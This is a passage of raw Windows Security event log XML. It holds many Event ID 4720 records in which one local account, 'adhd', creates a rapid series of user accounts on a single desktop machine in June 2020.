ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Roy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1195</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Roy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Roy - adhd - - - 4720 - 5209 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.6291945Z'/><EventRecordID>5209</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sarah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1194</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sarah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sarah - adhd - - - 4720 - 5203 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.5471787Z'/><EventRecordID>5203</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Julia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1193</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Julia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Julia - adhd - - - 4720 - 5197 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.4664903Z'/><EventRecordID>5197</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Peter</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1192</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Peter</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Peter - adhd - - - 4720 - 5191 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.3635369Z'/><EventRecordID>5191</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Pamela</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1191</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Pamela</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Pamela - adhd - - - 4720 - 5185 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.2825294Z'/><EventRecordID>5185</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Scott</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1190</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Scott</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Scott - adhd - - - 4720 - 5179 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.1668912Z'/><EventRecordID>5179</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Theresa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1189</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Theresa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Theresa - adhd - - - 4720 - 5173 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.0923703Z'/><EventRecordID>5173</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jeffrey</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1188</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jeffrey</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jeffrey - adhd - - - 4720 - 5167 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.0083077Z'/><EventRecordID>5167</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ethan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1187</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ethan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ethan - adhd - - - 4720 - 5161 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.9286645Z'/><EventRecordID>5161</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Katherine</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1186</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Katherine</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Katherine - adhd - - - 4720 - 5155 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.8482138Z'/><EventRecordID>5155</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Catherine</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1185</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Catherine</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Catherine - adhd - - - 4720 - 5149 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.7637149Z'/><EventRecordID>5149</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Mary</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1184</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Mary</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Mary - adhd - - - 4720 - 5143 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.6894739Z'/><EventRecordID>5143</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Martha</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1183</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Martha</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Martha - adhd - - - 4720 - 5137 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.6044176Z'/><EventRecordID>5137</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Betty</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1182</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Betty</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Betty - adhd - - - 4720 - 5131 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.5124639Z'/><EventRecordID>5131</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Shirley</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1181</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Shirley</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Shirley - adhd - - - 4720 - 5125 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.4239196Z'/><EventRecordID>5125</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joyce</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1180</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joyce</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data 